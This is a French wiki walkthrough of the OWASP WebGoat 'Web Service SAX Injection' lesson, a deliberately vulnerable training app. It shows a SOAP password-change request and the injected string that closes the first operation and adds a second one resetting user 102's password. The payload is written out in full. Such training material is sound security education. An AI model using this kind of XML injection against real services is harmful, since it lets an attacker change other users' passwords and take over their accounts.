OWASP WebGoat:Web Service SAX Injection

From aldeid
Jump to navigation Jump to search

Web Service SAX Injection

Description

Tout comme il est possible de faire de l'injection de code JavaScript ou SQL dans un champ de formulaire non contrôlé, il est également possible d'injecter du XML afin de modifier une requête. C'est ce que propose cet exercice.

Exercice

La requête qui est envoyée est la suivante :

<?xml version='1.0' encoding='UTF-8'?>
<wsns0:Envelope
  xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'
  xmlns:xsd='http://www.w3.org/2001/XMLSchema'
  xmlns:wsns0='http://schemas.xmlsoap.org/soap/envelope/'
  xmlns:wsns1='http://lessons.webgoat.owasp.org'>
  <wsns0:Body>
    <wsns1:changePassword>
      <id xsi:type='xsd:int'>101</nowiki></id>
      <password xsi:type='xsd:string'>mot_de_passe_101</password>
    </wsns1:changePassword>
  </wsns0:Body>
</wsns0:Envelope>

Dans la mesure où nous ne pouvons agir que sur la partie colorée en vert (à partir du mot de passe), et où l'identifiant 101 figure avant, il semble nécessaire de fermer la première opération puis d'en créer une seconde :

<?xml version='1.0' encoding='UTF-8'?>
<wsns0:Envelope
  xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'
  xmlns:xsd='http://www.w3.org/2001/XMLSchema'
  xmlns:wsns0='http://schemas.xmlsoap.org/soap/envelope/'
  xmlns:wsns1='http://lessons.webgoat.owasp.org'>
  <wsns0:Body>
    <wsns1:changePassword>
      <id xsi:type='xsd:int'>101</id>
      <password xsi:type='xsd:string'>mot_de_passe_101</password>
    </wsns1:changePassword>
    <wsns1:changePassword>
      <id xsi:type='xsd:int'>102</id>
      <password xsi:type='xsd:string'>mot_de_passe_102</password>
    </wsns1:changePassword>
  </wsns0:Body>
</wsns0:Envelope>

La chaîne à insérer dans le champ "Please change your password" est donc :

mot_de_passe_101</password>
    </wsns1:changePassword>
    <wsns1:changePassword>
      <id xsi:type='xsd:int'>102</id>
      <password xsi:type='xsd:string'>mot_de_passe_102

Ce qui nous permet de résoudre l'exercice :